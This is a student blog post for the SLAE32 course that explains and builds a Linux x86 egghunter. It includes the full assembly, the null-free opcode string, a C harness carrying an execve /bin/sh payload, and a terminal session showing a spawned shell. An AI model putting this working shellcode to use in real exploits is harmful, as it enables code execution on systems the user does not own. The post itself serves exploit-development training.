SLAE32
SLAE32

This post introduces the third mission of my SLAE32 journey.

A fantastic challenge not covered during the course made me research and understand the concept and which scenarios it’s applicable.

Introduction

The third assignment for the SLAE32 purpose is to create an egghunter shellcode with the following requirements:

  • Create a working demo of the Egghunter;
  • The shellcode should be null-free;
  • With the ability to be configurable for different payloads.

Hunting eggs in memory??? What is a Egghunter?

An egghunter is useful when an attacker controls limited buffer space to put an entire shellcode on the stack.

To get around this constraint, an egghunter acts as a staged payload. This means the smaller payload can search through the entire memory space for a maker or egg. Once the egg is found, it indicates the start of the larger payload (shellcode) and redirects the execution flow to the instructions placed after the egg.

Skape made a reference research paper in 2004 named Safely Searching Process Virtual Address Space with practical examples of different egghunter implementations.

Basic Concepts

Before going into the code details, it’s essential to have in mind some concepts to understand the internals of an egghunter.

x86 Linux Memory Pages

The manybutfinite.com article about Linux memory management states that:

“x86 processors in 32-bit mode support page sizes of 4KB, 2MB, and 4MB. Both Linux and Windows map the user portion of the virtual address space using 4KB pages. Bytes 0-4095 fall in page 0, bytes 4096-8191 fall in page 1, and so on.”

This is essential because our egghunter will be iterating through memory pages searching for the egg.
If the egghunter can use a syscall to check for the egg on page 0 (bytes 0-4095) and if the used syscall returns an exit code that states if the memory location is accessible or not, based on that, the egghunter can skip to the next page of memory (page 1).
This way saves time and increases its performance.

Access Syscall - Can we read or not?

Based on Skape paper, some syscalls can be used for this task. For this assignment, I used the access(2) syscall.

The purpose of access(2) syscall is to check effectively if a page memory is accessible or not. According to the access man page (man 2 access), this syscall is used to check if the calling process has access to a determined file.

We will use exit codes to check memory page permissions in this assignment context. If it returns an error (EFAULT) with the value 0xf2, it means the memory page is inaccessible. If return any other matter, we are good to go to search that page looking for the egg.

Double Egg

We know the egg should be placed right before the shellcode by this time. We can make it more robust by placing it twice instead of once. This way, if the egghunter finds itself, we avoid unexpected behaviour from the program.

In practical terms, the shellcode structure is: egg+egg+shellcode

“Assembling” our Egghunter

First, the egg is placed into ebx. This register will be used to compare with memory content.

mul ecx after clearing the ecx register is used to clear eax and edx. mul multiplies its operand with eax and saves the result in eax and edx. A small trick to save space with fewer opcodes.

mov ebx, 0x50905090 ; the egg - 0x50905090
xor ecx, ecx
mul ecx             ; trick clear eax and edx

After that, we mov 0xffff (4095 bytes) to dx. A memory page has 4096 bytes in size, but putting the value 0x1000 (4096 bytes) in dx will contain null bytes. Instead, we mov 0xffff to dx and increment it after inc edx inside the address_inspection: branch.

page_alignment:
	or dx, 0xfff    ; sets dx to 4095

address_inspection:
	inc edx         ; sets dx to 4096

The next step is to analyze the memory page and check if we are able to access it. To achieve this goal, the address_inspection: branch will start incrementing edx to have make it 4096. After that, to preserve the register values push their value into the stack with pushad instruction.

Then, we put the following 4 bytes of memory into ebx, load the access(2) syscall to al, and execute it on that memory address.

address_inspection:
	inc edx             ; edx becomes 4096
	pushad              ; saves all registers values
	lea ebx, [edx+4]    ; load the address of the next 4 bytes
	mov al, 0x21        ; set the value of the access syscall
	int 0x80

To verify if the memory page is accessible or not, we will use the compare opcode - cmp.

The compare cmp opcode takes two operands and subtracts them; if the result is a 0, the zero flag is set, and you know that the two operands are equal.

The return code is saved into eax. If the EFAULT (0xf2) error exists, our shellcode will jump to the page_alignment: branch to check the following memory page.

cmp al, 0xf2
popad
jz page_alignment

But if the memory can be accessed, we will compare the value of the accessible memory, which is stored at edx, with ebx, which holds our egg. We we will jump to our address_inspection: branch and read through the page.

If the value of what is stored at edx matches our egg, then we have to see if [edx]+4 also does to ensure we don’t have a false positive and match our double egg requirement. If it is only found once, then it’s probably just our egghunter finding itself.

Finally, if both cmp calls result in zeros, we tell the code to jump to edx, which will execute the code stored there (our real shellcode).

cmp [edx], ebx
jnz address_inspection
cmp [edx+4], ebx
jnz address_inspection
jmp edx

Final Assembly Code

; Student ID   : PA-31319
; Student Name : Eduardo Silva
; Assignment 3 : Egghunter Shellcode (Linux/x86) Assembly
; File Name    : egg_hunter.nasm

global _start

section .text
_start:

	mov ebx, 0x50905090
	xor ecx, ecx
	mul ecx

page_alignment:
	or dx, 0xfff

address_inspection:
	inc edx
	pushad
	lea ebx, [edx+4]
	mov al, 0x21
	int 0x80
	cmp al, 0xf2
	popad
	jz page_alignment
	
	cmp [edx], ebx
	jnz address_inspection
	cmp [edx+4], ebx
	jnz address_inspection
	jmp edx

Compiling and Testing the Shellcode

Checking assembler.sh output

╭─edu@debian ~/Desktop/slae_x86/assignments/3-Egg_Hunter ‹main●› 
╰─$ ../../assembler.sh egg_hunter.nasm 

[*] Compiling with NASM
[*] Linking
[*] Extracting opcodes
[*] Done


Shellcode size: 39

"\xbb\x90\x50\x90\x50\x31\xc9\xf7\xe1\x66\x81\xca\xff\x0f\x42\x60\x8d\x5a\x04\xb0\x21\xcd\x80\x3c\xf2\x61\x74\xed\x39\x1a\x75\xee\x39\x5a\x04\x75\xe9\xff\xe2"

--------------------
[*] Hack the World!
--------------------

No null bytes appear in the shellcode. We are good to go and paste the shellcode to our shellcode.c program

#include <stdio.h>
#include <string.h>

unsigned char egghunter[] = "\xbb\x90\x50\x90\x50\x31\xc9\xf7\xe1\x66\x81\xca\xff\x0f\x42\x60\x8d\x5a\x04\xb0\x21\xcd\x80\x3c\xf2\x61\x74\xed\x39\x1a\x75\xee\x39\x5a\x04\x75\xe9\xff\xe2";
unsigned char shellcode[] = "\x90\x50\x90\x50\x90\x50\x90\x50\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";

int main(void)
{
    printf("Egg hunter length: %d\n", strlen(egghunter));
    printf("Shellcode length: %d\n", strlen(shellcode));

    void (*s)() = (void *)egghunter;
    s();

    return 0;
}

I used the execve shellcode stack covered during the course to execute a shell .

Compiling with gcc and executing it

╭─edu@debian ~/Desktop/slae_x86/assignments/3-Egg_Hunter ‹main●› 
╰─$ gcc -fno-stack-protector -m32 -z execstack -o egghunter_tester shellcode.c

╭─edu@debian ~/Desktop/slae_x86/assignments/3-Egg_Hunter ‹main●› 
╰─$ ./egghunter_tester 
Egg hunter length: 39
Shellcode length: 33
$ id
uid=1000(edu) gid=1000(edu) groups=1000(edu),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth),115(lpadmin),116(scanner)
$ ls
egg_hunter  egg_hunter.nasm  egg_hunter.o  egghunter_tester  shellcode  shellcode.c
$ 

We get a shell!!!


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: PA-31319

All the source code files are available on GitHub at https://github.com/0xnibbles/slae_x86